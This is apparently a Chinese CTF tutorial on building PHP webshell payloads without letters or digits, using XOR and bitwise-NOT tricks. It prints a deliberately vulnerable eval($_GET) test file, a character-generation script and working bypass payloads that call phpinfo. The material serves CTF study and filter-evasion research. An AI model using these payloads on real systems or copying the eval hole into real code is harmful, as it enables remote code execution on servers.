主页 > 网络知识 > 浅析CTF绕过字符数字构造shell

浅析CTF绕过字符数字构造shell

在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。

无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。

本文涉及知识点实操练习-使用base64与deflate对webshell编码 

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014050616024000001&pk_campaign=weixin-wemedia    

测试源码 <?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {   eval($_GET['shell']); } //如果shell中不还有字母和数字,则可以执行eval语句 异或绕过

异或的符号是^,是一种运算符。

1 ^ 1 = 0 1 ^ 0 = 1 0 ^ 1 = 1 0 ^ 0 = 0 异或脚本 <?php for($i=128;$i<255;$i++){     echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."n"; } ?>

运行该脚本我们知道

%81^%FF=>~     %82^%FF=>}       %83^%FF=>| %84^%FF=>{     %85^%FF=>z       %86^%FF=>y %87^%FF=>x     %88^%FF=>w       %89^%FF=>v %8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s %8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p %90^%FF=>o     %91^%FF=>n       %92^%FF=>m %93^%FF=>l     %94^%FF=>k       %95^%FF=>j %96^%FF=>i     %97^%FF=>h       %98^%FF=>g %99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d %9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a %9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^ %A2^%FF=>]     %A3^%FF=>       %A4^%FF=>[ %A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X %A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U %AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R     %AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O %B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L %B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I %B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F %BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C %BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@ %C0^%FF=>?

通过这种方法构造一个phpinfo()函数

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo //${_GET}{%ff}();&%ff=phpinfo 我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_  %B8^%FF=>G %BA^%FF=>E   %AB^%FF=>T  <?php $a = urldecode('%ff%ff%ff%ff'); $b = urldecode('%a0%b8%ba%ab'); echo $a^$b; //输出_GET
取反绕过

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。

直接看如何构造phpinfo()

(~%8F%97%8F%96%91%99%90)();

 

浅析CTF绕过字符数字构造shell

 

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!